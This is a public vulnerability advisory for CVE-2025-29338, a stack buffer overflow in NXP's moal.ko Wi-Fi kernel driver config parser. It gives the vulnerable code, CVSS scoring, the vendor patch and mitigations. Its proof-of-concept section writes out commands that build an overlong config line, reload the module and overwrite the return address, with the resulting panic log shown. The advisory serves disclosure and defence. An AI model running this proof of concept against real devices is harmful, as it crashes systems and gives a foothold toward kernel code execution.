CVE-2025-29338

May 13, 2026 · View on GitHub

Buffer Overflow in NXP moal.ko Wi-Fi Kernel Driver (woal_setup_module_param / parse_cfg_get_line)

FieldValue
CVE IDCVE-2025-29338
SeverityHigh
CVSS v3.1 Score7.8
CVSS v3.1 VectorCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeStack-Based Buffer Overflow (CWE-121)
Attack VectorLocal
VendorNXP Semiconductors
Vendor Patch StatusPatched
DiscovererMahmoud Jadaan — diconium auto GmbH

Summary

A stack-based buffer overflow vulnerability exists in the NXP moal.ko Wi-Fi kernel driver (version 5.1.7.10) across firmware builds v17.92.1.p149.43 through v17.92.1.p149.157. The vulnerability is located in parse_cfg_get_line (mlinux/moal_init.c), called from woal_setup_module_param. The while loop that reads configuration file lines into a fixed-size stack buffer lacks a destination bounds check, allowing a line of arbitrary length to overflow the buffer, corrupt the stack, and trigger a kernel panic. NXP PSIRT confirmed the vulnerability and the fix has been released.


Affected Products

FieldDetail
VendorNXP Semiconductors
Componentmoal.ko Wi-Fi kernel driver
Driver Version5.1.7.10
Firmware — First Affectedv17.92.1.p149.43
Firmware — Last Affectedv17.92.1.p149.157

Vulnerability Details

Root Cause

woal_setup_module_param allocates a fixed stack buffer of MAX_LINE_LEN bytes and passes it to parse_cfg_get_line on each iteration while processing the mod_para configuration file:

// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
    // process line
}

In the vulnerable revision of parse_cfg_get_line, the while loop condition checks only the source position and line terminators — there is no check on how many bytes have been written to the destination buffer:

// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
    t_u8 *src, *dest;
    static t_s32 pos;

    if (pos >= size) {
        pos = 0;
        return -1;
    }
    memset(line_pos, 0, MAX_LINE_LEN);
    src = data + pos;
    dest = line_pos;

    while (pos < size && *src != '\x0A' && *src != '\0') {
        if (*src != ' ' && *src != '\t')
            *dest++ = *src++;   // unchecked write — no dest bounds check
        else
            src++;
        pos++;
    }
    pos++;
    *dest = '\0';
    return strlen(line_pos);
}

A configuration file line longer than MAX_LINE_LEN bytes causes dest to advance past the end of the caller's stack buffer, overwriting adjacent stack memory including the saved frame pointer and return address.


Attack Vector

AttributeValue
TypeLocal
Privileges RequiredCAP_SYS_MODULE (root or equivalent)
User InteractionNone
Attack Surfacemod_para kernel module parameter (configuration file path)

The driver is loaded at system startup using insmod with the mod_para parameter pointing to a configuration file. An attacker who can write a crafted configuration file and reload the kernel module can trigger the overflow.


Impact

ImpactDescription
Denial of ServiceKernel panic — confirmed; causes immediate system reboot
Kernel Memory CorruptionStack smashing overwrites saved rbp and return address
Potential Code ExecutionReturn address controlled — arbitrary kernel-mode code execution may be possible depending on mitigations in place (stack canary, KASLR, etc.)

CVSS v3.1 Breakdown

MetricValueRationale
Attack Vector (AV)Local (L)Requires local system access
Attack Complexity (AC)Low (L)No race conditions or complex prerequisites
Privileges Required (PR)High (H)Requires CAP_SYS_MODULE / root
User Interaction (UI)None (N)Fully attacker-controlled
Scope (S)Unchanged (U)Impact stays within kernel context
Confidentiality (C)High (H)Kernel memory potentially readable
Integrity (I)High (H)Return address overwrite demonstrated
Availability (A)High (H)Kernel panic / reboot confirmed

Base Score: 7.8 (High) CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H


Proof of Concept

Provided for defensive and research purposes only.

Step 1 — Unload existing modules

#!/bin/sh
rmmod moal
rmmod mlan

Step 2 — Create the malicious configuration file

The stack buffer is filled with As, followed by 8 bytes for the stack canary slot (Bs), 8 bytes for the saved rbp (Cs), and 8 bytes to overwrite the return address (Ds):

python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin

Step 3 — Load the module with the crafted config

The mod_para path must be relative to the directory where the kernel searches for firmware (typically /lib/firmware/). Construct the path accordingly:

#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin

insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
    mod_para=$PAYLOAD_PATH \
    drvdbg=0x7

Step 4 — Observed result

A kernel panic is triggered immediately during module initialization. Kernel logs confirm the return address is overwritten with 0x4444444444444444 (ASCII DDDDDDDD), demonstrating full control of the instruction pointer:

[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
         woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444   <-- controlled return address

Vendor Patch

NXP PSIRT confirmed the vulnerability and provided the following patch to mlinux/moal_init.c. The fix adds a bounds check inside the parse_cfg_get_line loop to break out before exceeding MAX_LINE_LEN:

--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
              else
                      src++;
              pos++;
+              if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+                      PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+                      break;
+              }
       }
       /* parse new line */
       pos++;

Mitigation

Update to a firmware version beyond v17.92.1.p149.157 which includes the patch above. As additional hardening:

  1. Restrict module loading — limit CAP_SYS_MODULE to trusted administrators; enforce init_module / finit_module syscall restrictions via SELinux, AppArmor, or seccomp.
  2. Protect configuration file paths — ensure the path referenced by mod_para and the files it points to are only writable by root.

References


Vendor Status

NXP PSIRT confirmed the vulnerability. The fix has been released as part of a formal software update.


Credits

Discoverer: Mahmoud Jadaan — diconium auto GmbH


This advisory is published as a public reference to satisfy minimum CVE disclosure requirements per the CVE Program.